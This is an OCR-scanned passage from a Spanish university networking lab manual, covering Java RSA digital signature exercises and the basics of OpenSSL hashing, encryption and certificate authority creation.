un foro principal para hacer negocios, sirviendo como medio principal para la publicidad, el marketing,
las ventas y la atencion al cliente. Ha permitido que las empresas crezcan y alas grandes corporaciones,
expandir su dominio.

Junto a las oportunidades que ofrece Internet se encuentran riesgos de seguridad importantes. Los
servidores Web pueden ser sustituidos y a veces, las paginas Web han sido desconfiguradas. Los datos
privados de los consumidores podrian ser revelados. Las transacciones financieras pueden ser
falsificadas. Los cortafuegos de las empresas pueden ser infringidos y las redes de la empresa
saboteadas. Todos estos escenarios conllevan a un uso seguro de Internet.

La comunicacién segura dentro de una red debe cumplir con las siguientes caracteristicas:
confidencialidad, autenticacion, integridad del mensaje, disponibilidad y control de acceso. Las 3
primeras caracteristicas se han considerado componentes claves de una red segura, sin embargo, se
han afiadido en las dltimas décadas la necesidad de mantener la red operando.

El concepto de firma digital fue introducido por Diffie y Hellman en 1976, siendo un bloque de
caracteres que acompafia a un documento acreditando quién es su autor (autenticacién) y que no ha
existido ninguna manipulacién posterior de los datos (integridad).

El proceso de firmado digital se inicia cuando el autor de un documento utiliza su clave secreta dentro
del esquema de cifrado asimétrico, ala que sélo él tiene acceso, esto impide que pueda negar su autoria
(revocacion o no repudio). De esta forma el autor es vinculado al documento de la firma. El software
del autor aplica un algoritmo hash sobre el texto a firmar, obteniendo un extracto de longitud fija y
absolutamente especifico del mensaje. Un cambio minimo en el mensaje dara lugar a una cadena hash
distinta. El extracto tiene una longitud de 128 a 160 bits, dependiendo del algoritmo utilizado, entre
los que se encuentran: MD5 o SHA-1. El algoritmo mas utilizado en el proceso de encriptacion
asimétrica es el RSA.

La validez de la firma es probada por cualquier persona que disponga de la clave publica del autor.
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La identificacion indubitable de las personas y organizaciones se sustenta en la firma digital que opera
bajo la denominada Infraestructura de Clave Publica.

La “despapelizacién”, como resultado de la utilizacién de la firma digital, da origen al Documento
Digital, garantizando la autenticidad, integridad, no repudio y eventualmente la confidencialidad del
mismo.

Es asi que vistos los tiempos en que vivimos, es aplicable entre otras a:

Identificacién como usuario ante redes internas o externas (abiertas o cerradas).
Correos electronicos.

Identificacion de sitios en Internet.

Transacciones EDI (Electronic Data Interchange).

Comercio electronico.

Informacion que se obtenga de Internet.

Transacciones financieras.

Software y hardware.

Comercio exterior.

Comercio interno.

Toda documentacién que precise movilizarse rapidamente o por el contrario que posea un alto
costo de movilizacion

Aplicaciones sobre la firma digital

e Firmay/o cifrado de correo electrénico, tanto interno como externo.

e Firma y/o cifrado de documentos (Pericias, dictamenes, planos, software, politicas,
procedimientos, normativas, minutas, y otros).

e Identificacion de personas ante sistemas internos en redes locales y abiertas (intranets), sitios
Web (sin necesidad de registrar datos) determinacion implicita del perfil de usuario.

e Identificacidn de sistemas ante el usuario (;Cémo sé que es el sistema que dice ser?).

e Auditoria de transacciones.

e Seguridad al operar comercialmente (Compra-venta de acciones, transacciones bancarias,
operaciones con tarjeta de crédito, y otras).

o Identificacion de los componentes fisicos de una red (Computadores, routers, teléfonos
celulares, y otros).

Aplicaciones sobre el documento digital firmado digitalmente

o Fidelizacion de e Solicitudes de prestacion
documentos digitalizados. de servicios

e Recibos de pago. e Adjudicaciones.
Certificaciones. e Factura electronica.

e Cheque electrénico. e Invitaciones.
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e Reservas o turnos para
distintas prestaciones
(Talleres, médicos,
hoteles, pasajes, etc.).

e Promociones. e Acreditaciones de puntaje.

e Remitos de entrega. e Ordenes de compra.

e Solicitudes de adhesion. e (Contratos.

e Actas. e Planos.

e Planificaciones. e Circulares internas y/o
externas.

Cotizaciones de bienes y
servicios (tanto el pedido
como la cotizacion y
condiciones del

proveedor).
e Autorizaciones de e Receta médica
prestaciones médicas. electronica.
e Historia clinica tnica. e Declaraciones juradas.
e Confirmaciones. e Proyectos.

e Disefios
Es indudable que otras tantas aplicaciones particulares hacen o pueden hacer uso de la tecnologia. Sin
embargo, detras de ésta, por las connotaciones que conlleva, la certificacién por autoridad competente
especializada del adecuado funcionamiento de las aplicaciones, acorde con las normativas en la
materia, las transforma en un tema sumamente delicado. A modo de ejemplo, una aplicacién que
mayoritariamente contempla el uso de certificados digitales y concordantemente la firma digital es la
de correo electrénico y si bien su funcionamiento es razonablemente adecuado a esta situacidn,
adolecen de garantias contra defectos que le son imputables, mas atin de cara a esta nueva realidad
digital/legal.

3. Equipoy material necesario
Equipo del Laboratorio:

e ]DK instalado en el sistema operativo Linux.

4. Desarrollo
Modo de trabajar
La practica se desarrollara en parejas.
La aplicacién Java a realizar se compone de dos programas, el primero hara el firmado del documento

y el segundo verificara la firma de dicho documento. El programa que realiza el primer procedimiento
debe cumplir con los siguientes requerimientos:
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e Solicitar mediante la entrada estandar, el nombre del archivo que contiene la informacién a
firmar (Archivo A).

e Lasalida del programa que firma el documento, deben ser dos archivos, el primero contendra
la clave publica generada y el segundo la firma del documento (Archivo B, Archivo C).

e El programa que recibe el Archivo A debe generar internamente el par de claves.

El programa que realiza el segundo procedimiento debe cumplir con los siguientes requerimientos:

e Solicitar mediante la entrada estandar, el nombre del archivo que contiene la clave publica
generada en el primer punto, ademas del nombre del archivo que contiene la informacién
firmada (Archivo B, Archivo C).

e Indicar mediante una cadena si la firma es correcta.

4.1 Firma Digital

Una firma digital es un bloque de caracteres que se anexa a un documento con el fin de acreditar quién
es su autor, se basa en la criptografia de clave ptiblica, donde quién firma el mensaje lo cifra con su
clave privada de forma que puede ser descifrado por todo aquel que posea la clave publica,
correspondiente a la clave privada empleada para firmar el mensaje.

NOTA: La firma digital no hace cifrado de mensajes, inicamente garantiza el origen.

L ;Cudl es el objetivo de la firma digital?

El cifrado de un mensaje con la clave privada consume un tiempo elevado de proceso, por lo que resulta
imprescindible contar con un texto mas corto que el mensaje original, éste es obtenido mediante una
funcion hash y comtinmente denominado huella digital o fingerprint. Si el mensaje original se altera,
también varia la huella digital y lo que se cifra con la clave privada no es el mensaje original, sino la
huella digital, el resultado se aflade al documento a transmitir.

4.2 Criptografia
4.2.1 Criptografia de clave privada

La criptografia tradicional también denominada de clave secreta se basa en que tanto emisor como
receptor, cuentan con una misma clave, que es empleada por el primero para cifrar el mensaje, dando

147




mo_iN ' ;:4 Cddigo: MADO-32
YF.}} ' Manual de practicas del \I/Deérs:(ra]g: 143/51 39
w5 Laboratorio de Administracion 9
N de Redes Seccion ISO 8.3
g Ll Fechade | 14 4o agosto de 2023
emision
Area/Departamento:

Facultad de Ingenieria

Laboratorio de Redes y Seguridad

La impresion de este documento es una copia no controlada

lugar a un mensaje ilegible, el segundo utiliza la misma clave de cifrado para descifrar y obtener el
mensaje original.

IL. Investigue la principal desventaja de la criptografia tradicional.

4.2.2 Criptografia de clave publica

En este tipo de cifrado, el emisor y receptor cuentan con claves distintas. La clave publica es aquella
que todo el mundo conoce y que puede ser empleada por cualquiera para cifrar mensajes. La clave
privada es aquella que inicamente conoce quién envia el mensaje y es capaz de descifrar los mensajes
generados por la clave publica.

I1I. Investigue el algoritmo de cifrado mds comiunmente utilizado por este tipo de cifrado.

Una de las principales ventajas de la criptografia asimétrica es la simplificacion de la administracién
de claves al permitir que varias personas utilicen un par de claves, inicamente existe un problema:
;cémo distribuir una clave publica de forma que el usuario pueda encontrarla y saber que es valida?
4.3 Firma de un documento

El programa que genera las claves para firmar un documento, hara uso del API de Seguridad del JSDK.

4.3.1 Inicie la maquina virtual e ingrese como usuario redes.

4.3.2 Cree una carpeta en /home/redes con el nombre de Practical0aINICIALES, de manera que
sea donde almacene los archivos generados.

NOTA: La palabra INICIALES son las iniciales de su nombre y apellidos.

4.3.3 Emplee el comando nano GeneraFirmalNICIALES.java y teclee el siguiente codigo, el cual es
la estructura inicial del programa, ver Figura No. 1.
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Figura No. 1. C4digo de la estructura inicial para generar la firma

import java.io.*;

import java.security.*;

class GeneraFirmaINICALES
{

public static void main (String [] args)

{

/*Verificando el numero de argumentos de entrada*/
if (args.length!=1)

{ System.out.println (“Sintaxis del programa es:
GeneraFirmalNICIALES archivoaFirmar”);
}
else try
{

/*En este bloque se debe colocar el codigo faltante*/
catch (Exception e)

{

System.out.println(“El error es” + ) ;

}

java

El programa importa el paquete java.security.*; ya que ahi se encuentran las clases necesarias para
generar las claves y firmar un documento. De la misma manera se importa el paquete java.io.*; porque

en ese paquete se encuentran las clases necesarias para manipular los archivos de entrada.

NOTA: Inserte las siguientes lineas del cddigo que se encuentran en negritas y cursiva, en el

programa debajo de la linea /*En este bloque se debe colocar el codigo faltante*/

4.3.4 Para generar una firma digital, se requiere una clave privada que inicie el proceso. La clase

KeyPairGenerator permite esa funcionalidad mediante el siguiente codigo:
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KeyPairGenerator genClave=KeyPairGenerator.getlnstance(“RSA”);
4.3.5 [Inicie el objeto genClave a través del método initialize, el cual tiene dos argumentos:
a. Tamano de clave, el cual es de 1024 bits.
b. La fuente aleatoria, en el caso de la practica haremos uso de la clase Secure Random.

SecureRandom aleatorio=SecureRandom.getinstance("SHA1PRNG”",“SUN");
genClave.initialize(1024, aleatorio);

El objeto SecureRandom, pretende aleatorizar el estado interno del propio generador utilizando el
algoritmo de generacién de nimeros pseudoaleatorios llamado SHA1PRNG.

4.3.6 El siguiente paso es la generacion del par de claves para almacenarlas en objetos del tipo
PrivateKey y PublicKey, mediante el siguiente cédigo:

KeyPair pardeClaves= genClave.generateKeyPair();
PrivateKey privada=pardeClaves.getPrivate();
PublicKey publica=pardeClaves.getPublic();

NOTA: Guarde los cambios efectuados en el cédigo

4.3.7 Elpaso final de esta primera aplicacion es el firmado de los datos, ya que se han creado la clave
publicay la clave privada. Cree un archivo de nombre datosaFirmar.txt con una nueva ventana
de la aplicacién de bloc de notas y guarde el archivo en la carpeta creada con el siguiente
contenido:

“Pensar en seguridad se vuelve necesario una vez que permitimos que nuestros recursos computacionales
entren en contacto con el resto del mundo. Un puerto de comunicacién abierto casi siempre estd expuesto
a ataques externos o a abusos; es necesario tomar medidas de seguridad para evitar el mal uso de los
recursos. ”

NOTA: Guarde los cambios efectuados en el cédigo.

4.3.8 Una firma digital se crea o bien se verifica usando una instancia de la clase Signature, mediante
el siguiente cédigo:

Signature firma=Signature.getinstance (“MD5withRSA”);

4.3.9 Antes de que el objeto Signature sea usado para firmar o verificar datos, requiere ser
inicializado, el cual requiere de la clave privada.
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firma.initSign(privada);

4.3.10 Antes de firmar es necesario suministrar al objeto “firma” los datos a firmar, los cuales se
almacenan dentro de un archivo. Las siguientes lineas abren el archivo, su contenido lo guarda
en un buffer y posteriormente se lo hace llegar al objeto “firma”.

FileInputStream archivo=new FilelnputStream(args[0]);
BufferedInputStream buferEntrada=new BufferedInputStream(archivo);
byte[] buffer=new byte[1024];

int longitud;

while (buferEntrada.available() !=0)
{
longitud =buferEntrada.read(buffer);
firma.update(buffer, 0, longitud);
}
buferEntrada.close();

4.3.11 Finalmente, una vez que se han suministrado los datos al objeto “firma”, se genera la firma
digital de los datos.

byte[] firmaReal=firma.sign();

4.3.12 Generada la firma es necesario enviarla a un archivo de la misma manera que la clave ptblica
para el proceso de verificado de firma digital.
/*Guardando los datos firmados en un archivo*/
FileOutputStream archivoFirma=new FileOutputStream(“firmalINICIALES.txt");
archivoFirma.write(firmaReal);
archivoFirma.close();
/*Guardando la clave publica en un archivo*/
byte[] clave=publica.getEncoded();
FileOutputStream clavePublica=new FileOutputStream(“clavePublicaINICIALES.txt”);
clavePublica.write(clave);
clavePublica.close();

El método getEncoded obtiene los bytes codificados de la clave publica y luego se envian a un archivo.

NOTA: Guarde los cambios efectuados en el cdadigo.
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4.3.13 Debe ubicarse en el directorio /home/redes/Practical0aINICIALES, para compilar el
programa mediante la instruccién javac GeneraFirmalINICALES.java, en la linea de comando
y observe el resultado.

4.3.14 Ejecute el programa con la instrucciéon java GeneraFirmalINICALES datosaFirmar.txt y
observe en su directorio de trabajo la creacion de los archivos esperados.

4.4 Verificacion de la firma de un documento

La verificacion de la firma de un documento implica que quien recibe el mensaje, en primer lugar aplica
la funcién hash al documento recibido, descifra la huella digital cifrada y compara ésta con la obtenida
al procesar el documento, si son iguales el documento no ha sido alterado y efectivamente ha sido
enviado por quien firma.

IV. Indique los argumentos que debe recibir el programa que verifica la firma digital de un
documento.

4.4.1 Emplee el comando nano VerificaFirmaINICIALES.java y teclee el siguiente co6digo, el cual es
la estructura inicial del programa, ver Figura No. 2.

NOTA: No olvide guardar el archivo VerificaFirmaINICIALES.java en la misma carpeta
/home/redes/Practical0aINICIALES.

Figura No. 2. Cédigo de la estructura inicial para verificar la firma

import java.io.*;
import java.security.*;
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import java.security.spec.*;

class VerificaFirmalINICIALES

{
public static void main (String [] args)
{
/*Verificando el numero de argumentos de entrada*/
if (args.length!=3)
{
System.out.println
(“Sintaxis del programa es: java VerificaFirmalNICIALES
archivoaFirmarINICIALES.txt clavepublicalNICIALES.txt firmaArchivo”);
}
else try
{
/*En este bloque se debe colocar el codigo faltante*/
}
catch (Exception e)
{
System.err.println (“El error es de "+ e.toString() );
}
}
}

El programa importa el paquete java.security.spec, ya que éste contiene la clase X509EncodedKeySpec.

NOTA: Inserte las siguientes lineas del cddigo que se encuentran en negritas y cursiva en el
programa debajo de lalinea /*En este bloque se debe colocar el cddigo faltante*/

4.4.2 El primer paso consiste en importar los bytes codificados de la clave ptblica del archivo que lo
contiene y convertirlos en un objeto del tipo PublicKey mediante el siguiente codigo:

FileInputStream clavepublica=new FilelnputStream (args[0]);
byte[] clave=new byte[clavepublica.available()];
clavepublica.read(clave);
clavepublica.close();

El arreglo de bytes clave contiene los bytes codificados de la clave publica.

153




mo_iN ';fu Cddigo: MADO-32
YF.’“ ' Manual de practicas del \I/Deérs:(ra]g: 152/51 89
W ¥ Laboratorio de Administracion 9
N de Redes Seccion I1ISO 8.3
p Fechade | 14 4o agosto de 2023
emision
Area/Departamento:

Facultad de Ingenieria

Laboratorio de Redes y Seguridad

La impresion de este documento es una copia no controlada

El siguiente paso consiste en obtener el valor de la clave publica, para lo cual hacemos uso de
una clase KeyFactory que proporciona conversién entre claves opacas (del tipo Key) y
especificaciones de claves, que son representaciones transparentes del material de la clave.
Primero es necesario una especificacion de clave mediante el estandar X.509, con el siguiente
codigo:

X509EncodedKeySpec pubKeySpec=new X509EncodedKeySpec(clave);
Se requiere de un objeto KeyFactory para realizar la conversion, éste debe trabajar con claves
KeyFactory keyFactory = KeyFactory. getinstance(“RSA”);
Empleando el objeto keyFactory se genera un objeto PublicKey de la siguiente manera:

PublicKey pubKey=keyFactory.generatePublic(pubKeySpec);

4.4.3
4.4.4
RSA.
4.4.5
4.4.6

El siguiente paso consiste en introducir los bytes firmados desde el archivo especificado en el
segundo argumento de la linea de comandos:

FileInputStream archivoFirmado=new FileInputStream(args[1]);
byte[] firmaVerificada=new byte[archivoFirmado.available()];
archivoFirmado.read(firmaVerificada);

archivoFirmado.close();

Hasta este punto el arreglo de bytes firmaVerificada contiene los bytes de la firma de documento.

4.4.7

4.4.8

4.4.9

Una firma se verifica usando una instancia de la clase Signature, definiendo los algoritmos
utilizados en el proceso de la firma del documento:

Signature firma=Signature.getinstance (“MD5withRSA”);

Inicialice el objeto Signature con el método verificar que recibe como argumentos la clave
publica:

firma.initVerify(pubKey);

Suministre al objeto firma los datos para los cuales se generd la firma, éstos se encuentran en
el archivo original.

FileInputStream datos=new FilelnputStream(args[2]);
BufferedInputStream
buferEntrada=new BufferedInputStream(datos);
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byte[] buffer=new byte[1024];
int longitud;

while (buferEntrada.available() !=0)

{
longitud= buferEntrada.read(buffer);

firma.update(buffer,0,longitud);

}
buferEntrada.close();

4.4.10 El proceso de verificacién de la firma permite reportar el resultado.

boolean verifica=firma.verify(firmaVerificada);
System.out.println (“Verificacion de la firma ” +verifica);

NOTA: Guarde los cambios efectuados en el codigo.

4.4.11 Compile el programa mediante la instruccién javac VerificaFirmalINICIALES.java en la linea
de comandos.

4.4.12 Ejecute el programa con la  instruccion java  VerificaFirmalINICIALES
clavepublicaINICIALES.txt firmalINICIALES.txt datosaFirmar.txty observe el resultado.

4.4.13 Modifique el archivo clavePublica.txt en el bloc de notas, ejecute nuevamente el programa con

la instruccién java VerificaFirmalINICALES clavepublicaINICIALES.txt firmaINICIALES.txt
datosaFirmar.txt y observe el resultado.

V. Investigue el error obtenido en el punto anterior.

NOTA: Ejecute nuevamente la instruccion java GeneraFirmalNICIALES datosaFirmar.txt para
restablecer la clave publica.

4.4.14 Modifique el archivo datosaFirmar.txt en el bloc de notas, ejecute nuevamente el programa con

la instruccion java VerificaFirmaINICIALES clavePublicaINICIALES firmaINICIALES
datosaFirmar.txt y observe el resultado.
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VI. Defina el escenario que representa el punto anterior.

Elabore un diagrama en el cudl indique el funcionamiento y los elementos de los programas
realizados anteriormente.

______________________________________________________________________
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5. Conclusiones
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RN A WN =

PRACTICA 10

Mecanismos de Seguridad, Firma Digital
Cuestionario Previo

¢Qué son los mecanismos de seguridad?
(A qué se refieren los mecanismos de seguridad generalizados? y menciona 2 ejemplos.
(A qué se refieren los mecanismos de seguridad especificos? y menciona 3 ejemplos.
Investigue en qué consisten las funciones hash y mencione al menos 3 ejemplos.
Investigue en qué consisten los algoritmos de clave publica.
Mencione al menos 3 algoritmos de cifrado simétrico o de criptografia tradicional.
Investigue el contenido basico del estandar X.509.

Investigue el uso de las sentencias try y catch dentro del lenguaje java
Investigue el funcionamiento del método getPrivate y getPublic
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Practica

11

Mecanismos de Seguridad,
Certificados Digitales

Control
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1. Objetivos de Aprendizaje

e El alumno o la alumna identificara los diversos tipos de certificados, asi como su importancia
dentro de los esquemas de seguridad en las redes, utilizando una herramienta de software libre
que permite la administracion de certificados digitales, OpenSSL

2. Conceptos teoricos

El panorama de las telecomunicaciones de datos se ha visto afectado por un gran cambio en los dltimos
afios del siglo XXI. Las innovaciones y cambios tecnolégicos suceden con gran velocidad a medida que
se perfeccionan y se depuran las ideas y técnicas que han permitido la unién entre la informatica, la
electrénica y las comunicaciones.

En las transacciones comunes los retos de identificacidn, autenticacién y privacidad son resueltas, con
marcas fisicas, tales como las firmas. En las transacciones electroénicas, el equivalente a un sello tiene
que ser codificado en informacioén. El verificar que el sello se encuentra presente y no ha sido alterado,
es la forma en la que el que recibe la informacién puede confirmar la identidad del que lo envi6 y de
esta manera se asegura que el mensaje no ha sido alterado ni modificado en el camino. Para crear un
equivalente electrénico a la seguridad fisica se usa la llamada criptografia.

Un certificado digital es un documento electrénico mediante el cual un tercero confiable (una
autoridad de certificacién) garantiza la relacién entre la identidad de un sujeto o entidad y su clave
publica.

Existen varios formatos de certificado digital, los mas cominmente empleados se rigen por el estandar
UIT-T X.509v3. El certificado contiene usualmente el nombre de la entidad certificada, un niimero
serial, fecha de expiracion, una copia de la clave publica del titular del certificado (utilizada para la
verificacién de su firma digital) y la firma digital de la autoridad emisora del certificado de forma que
el receptor pueda verificar que ésta dltima ha establecido realmente la asociacién.

Para los usuarios, los certificados digitales proporcionan un mecanismo para verificar la autenticidad
de programas y documentos obtenidos a través de la red, el envio de correo cifrado o firmado
digitalmente asi como el acceso a recursos, etcétera.

3. Equipo y material necesario
Equipo del Laboratorio:

e PC con sistema operativo Linux, Debian.
e Paquete de instalacion de OpenSSL.
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4. Desarrollo
Modo de trabajar
La practica se desarrollara en parejas.
4.1 Certificado Digital

Un certificado permite obtener la clave publica de otra entidad ya sea una persona o institucién. Se
considera como una declaracién firmada digitalmente por una entidad indicando que la clave publica
de otra persona tiene un valor especifico.

Existen diferentes clases de certificados de acuerdo con su utilidad:

e (Certificados de servidor, aportan a un sitio Web la caracteristica de seguridad para poder
intercambiar informaciéon como: nimeros de cuenta, contraseiias, etcétera.

e Certificados para WAP, permiten a los sitios Web la realizacién de transacciones seguras con
sus usuarios moviles. Los certificados WAP permiten mantener conexiones seguras basadas en
cifrado y autenticacion con dispositivos de telefonia movil.

e Certificados personales, otorgan seguridad a los correos mdviles basados en el estandar
S/MIME asegurando que el receptor designado sea el lector del mensaje.

e Certificados para firmar cédigo, permiten a los administradores o desarrolladores de software
firmar su cédigo para la distribucién segura entre sus clientes.

e (Certificados para IPSec-VPN, son los elementos necesarios para que la organizacidn aproveche
las cualidades y ventajas del uso de las VPN (Redes Virtuales Privadas - Virtual Network
Private).

4.1.1 Instalacion de OpenSSL

OpenSSL es una herramienta de software libre desarrollado por los miembros de la comunidad
OpenSource que permite la creacion y administracion de certificados digitales, ademas de contar con
librerias relacionadas con la criptografia, utiles para proporcionar funciones criptograficas, como
OpenSSH y navegadores Web (https). Este paquete es importante para cualquiera que esté planeando
implementar un cierto nivel de seguridad en una maquina Linux.

4.1.1.1 Abrala aplicacién VirtualBox

NOTA: Antes de iniciar la maquina virtual verifique en la opcién Red que se encuentre marcada
la opcién Habilitar adaptador de red->Conectado a: Adaptador puente (Figura No. 1).
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) debian - Comfrguracion p—

I ™ Genesal Red
& Sisterna Verifique
© pantalls Adaptador 1 | Adeotader 2 | Adeptader 3 | 4 conexion
@ Almacenamients V! Habitar adptador de red /

NP Aude Conectado a: | Adaptador puente:
| Red Nambre: | Gegabet Ethernet froadcom ety eme

9 Puertos serie b Avanzsdes
& use
@ Carpetas compartides

[Thceptsr | | Conceler Avda

Figura No. 1. Conexion de red.

4.1.1.2 Encienda la maquina virtual
4.1.1.3 Elija la opcidén de cargar Linux, distribucién Debian.

NOTA: En caso de que le aparezca la imagen de instalacion (Figura No. 2), dé clic derecho
sobre el disco duro. Seleccione la opcién que se encuentra palomeada para deseleccionarla,
apague la maquina virtual y vuelva a iniciarla.

7 Dabinn [Comercie] - Grarle ¥M Vituatien

Figura No. 2. Inicio de Maquina Virtual.
4.1.1.4 Inicie sesion en la cuenta de redes.

4.1.1.5 Abra una terminal e ingrese como super usuario, para ello teclee el comando que se muestra a
continuacion. (Ver Figura No. 3)
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NOTA: su significa super usuario, por lo que se emplea la misma contraseiia de root
redes@debian:~$ su

o redes@DEBIAN2023: ~ Q

]
x

redes@DEBIAN2023:~% su
Password:
root@DEBIANZG23: /home/redes#

Figura No. 3. Terminal de comandos como root.

4.1.1.6 Cree una carpeta llamada openssl en la carpeta personal del usuario con el cual se registro.
redes@debian:/home/redes# mkdir openssl

4.1.1.7 Ejecute el comando:
redes@debian:/home/redes# apt-get install openssl

Con este comando se instala el servicio de openssl.

4.2 Comandos basicos en OpenSSL

El objetivo de este punto es conocer los comandos basicos de OpenSSL para construir una
infraestructura de clave publica.

4.2.1 Abra una terminal de shell, cree una carpeta con el nombre de OpenSSL_iniciales, en el
directorio openssl.

NOTA: iniciales se sustituira por el conjunto representativo de letras que decida el equipo

redes@debian:/home/redes# cd openssl
redes@debian:/home/redes/openssl# mkdir OpenSSL _iniciales

4.2.2 Cambie de directorio a OpenSSLiniciales, el cual sera el directorio de trabajo.

redes@debian:’home/redes/openssl# cd OpenSSL_iniciales

163




mo_imgu Cadigo: MADO-32
YF.’. ' Manual de practicas del \I/Deérs:(ra]g: 1 62/51 39
. 5 Laboratorio de Administracion 9
N v de Redes Seccioén ISO 8.3
‘ﬁha&eb. Fecha de
.y 11 de agosto de 2023
emision
Area/Departamento:

Facultad de Ingenieria

Laboratorio de Redes y Seguridad

La impresion de este documento es una copia no controlada

4.2.3 Ejecute el siguiente comando:
redes@debian:’home/redes/openssl/OpenSSL_iniciales# openssl version

I Anote la versién instalada en el equipo asignado.

4.2.4 Cree un archivo de texto sin contenido alguno (Figura No. 4)
redes@debian:/home/redes/openssl/OpenSSL _iniciales# touch nombre_archivo.txt

4.2.5 Aplique las siguientes funciones hash a un archivo de texto creado en la carpeta de trabajo, y
anote el resultado en las siguientes lineas (Figura No. 4).

redes@debian:’home/redes/openssl/OpenSSL_iniciales# openssl md5 nombre_archivo.txt

IL. ;Qué representa la salida del comando anterior?

redes@debian:’home/redes/openssl/OpenSSL_iniciales# openssl shal nombre_archivo.txt

IIl. ;Qué representa la salida del comando anterior?

IV. ;Qué diferencias hay al ejecutar el comando con SHA1 y MD5?

redes@debian:’home/redes/openssl/OpenSSL _iniciales# openssl shal —out hash.bin
nombre_archivo.txt
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V. ;Cudl es la diferencia que existe entre el comando openssl shal nombre_archivo.ixt. y el
anterior?

root@EBIAN2023: /home/redes/openssl/0penSSL lab# touch hola.txt

root@EBIAN2023: /home/redes/openssl/0penSSL lab# openssl md5 hola.txt

MD5 (hola.txt)= d41d8cd98Te0b204e9800998ecT8427e

root@EBIAN2023: /home/redes/openssl/0penSSL lab# openssl shal hola.txt
SHAl(hola.txt)= da39a3ee5e6b4b0d3255bTef95601890aTdB8070D

root@EBIAN2023: /home/redes/openssl/0penSSL_lab# openssl shal -out hash.bin hola.txt
root@EBIAN2023: /home/redes/openssl/0penSSL lab# I

Figura No. 4 Aplicacion de las funciones hash
OpenSSL cuenta con librerias que permiten el cifrado de archivos, con diferentes algoritmos.
4.2.6 Cree otro archivo con nombre entrada.txt y teclee algunos datos (Figura No. 5)
redes@debian:’home/redes/openssl/OpenSSL_iniciales# nano entrada.txt
4.2.7 Posteriormente aplique los siguientes comandos (Figura No. 5):

redes@debian:/home/redes/openssl/OpenSSL _iniciales# openssl enc —des3 —pbkdf2 —in
entrada.txt —out cifra_a.bin —pass pass:iniciales

VL. ;Qué fue lo que realizé con el comando anterior?

redes@debian:/home/redes/openssl/OpenSSL _iniciales# openssl enc —des-ede3-cbc —pbkdf2
—in cifra_a.bin —out descifradoa3des.txt

VII. ;Qué fue lo que realizé con el comando anterior?
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root@EBIANZB23: /home/redes# nano entrada.txt

root@EBIAN2023: /home/redes# openssl enc -des3 -pbkdf2 -in entrada.txt -out c1fr.
a_a.bin -pass pass:lab

root@EBIAN2023: fhome/redes# openssl enc -des-ede3-cbc -pbkdf2 -in cifra a.bin -
out descifradoa3des.txt

enter des-ede3-chbc encryption password:

Verifying - enter des-ede3-cbc encryption password:

root@DEBIANZ2023: /home/redes# I

Figura No. 5 Ejecucion de comandos

4.3 Creacion de una AC, Autoridad Certificadora

Una AC (Autoridad Certificadora - Certification Authority) es una organizacién confiable que recibe
solicitudes de certificados de entidades, las valida, genera certificados y mantiene la informacién de su
estado.

Entre las principales tareas de una AC encontramos:
e Admision de certificados.

Autenticacion del sujeto.

Generacidn de certificados.

Distribucién de certificados.

Anulacién de certificados.

Almacenes de datos.

Los certificados digitales proporcionan un mecanismo criptografico para implementar la
autenticacion, siendo seguro y escalable para distribuir claves publicas en comunidades grandes.

Para crear un certificado digital en primera instancia se debe realizar una solicitud de certificado a una
AC que respalde la informacion del certificado solicitado. Algunas AC reconocidas son VerigSign, Visa,
etcétera, éstas previo pago devuelven certificados firmados por ellas. Para sustituir a dichas AC se
creard una propia para firmar los certificados que se generen.

4.3.1 Estando en el directorio de trabajo teclee el siguiente comando. (ver Figura 1.1)
redes@debian:/home/redes/openssl/OpenSSL_iniciales# openssl req -x509 —newkey

rsa:2048 —keyout cakey.pem —days 365 —out cacert.pem

El comando anterior crea una AC para certificados X509 con algoritmo de cifrado RSA de 2048 bytes.
La opcién -keyout permite que la clave privada de la AC se almacene en el archivo cakey.pem y la clave
publica -out en el cacert.pem.
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El formato de certificados X.509, es un estdndar del ITU-T, (Internacional Telecommunication - Union-
Telecommunication Standarization Sector) y el ISO/IEC (Internacional Standards Organization-
International Electrotechnical Commission) publicado en 1988.

4.3.2 Seguidamente se solicita una frase password para la AC, introduzca la palabra: .r3d3s. y
confirme la frase.

4.3.3 En el pais introduzca el cddigo identificador MX.

4.3.4 Elsiguiente campo solicita el estado o provincia, introduzca Distrito Federal.

4.3.5 En el nombre de lalocalizacidn que solicita introduzca Lab Redes y Seguridad.

4.3.6 En el nombre de la organizacién introduzca UNAM.

4.3.7 Enlaunidad organizacional introduzca FI.

4.3.8 En el campo del nombre comun introduzca su primer nombre y apellido.

4.3.9 Finalmente proporcione su correo electrénico (Figura No. 6).
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root@EBIAN2023: /home/redes/openssl/0penssL_lab# openssl req -x509 -newkey rsa:2048
-keyout cakey.pem -days 365 -out cacert.pem
Generating a RSA private key

writing new private key to 'cakey.pem'

Enter PEM pass phrase:

Verifying - Enter PEM pass phrase:

You are about to be asked to enter information that will be incorporated
into your certificate request.

What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank

For some fields there will be a default value,

If you enter '.', the field will be left blank.

Country Mame (2 letter code) [AU]:MX

State or Province Mame (full name) [Some-State]:CDMX

Locality Name {(eg, city) []:Lab

Organization Name (eg, company) [Internet Widgits Pty Ltd]:LAR
Organizational Unit Name (eg, section) []:LAR

Common MName (e.g. server FQDN or YOUR name) []:LabRyS

Email Address []:lab.redyseguridad@gmail.com

root@DEBIAN2023: /home/redes/openssl/0penssL lab# JJ

Figura No. 6. Creacion de la Autoridad Certificadora
Hasta este punto se ha creado la AC que validara los certificados que se generen durante la practica.

4.3.10 Verifique que los archivos que contienen el certificado de la AC y su clave se han creado en el
directorio actual, esto a través de los siguientes comandos:

redes@debian:’home/redes/openssl/OpenSSL_iniciales# cat cakey.pem
redes@debian:’home/redes/openssl/OpenSSL_iniciales# cat cacert.pem

VIII. Investigue en qué consiste el formato pem.

4.4 Peticion y Generacion de certificados

Es posible obtener un certificado digital a través de dos formas:
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a) Peticion on-line, en este tipo regularmente se solicitan certificados personales, para lo cual se
requiere de llenar un formulario, enviar alguna documentacién y esperar el certificado firmado
porla AC.

b) Peticion postal, resulta 6ptimo para la obtencidon de certificados de servidor, siendo una
combinacién ya que el CSR (Solicitud de Firma de Certificado - Certificate Sign Request) se envia
por correo y la documentacion se hace llegar por correo.

Un CSR es un archivo que incluye la informacién necesaria para solicitar un certificado digital.

El objetivo de este punto es generar un CSR después de crear la AC en el punto anterior.

4.4.1

El primer paso para la generacion de un certificado digital es la creacion de la clave privada del
mismo. Teclee el siguiente comando que crea una clave privada con un algoritmo de cifrado
RSA de 2048 bytes y se almacena en el archivo priv.pem, con la opcién -passout pass: en la cual
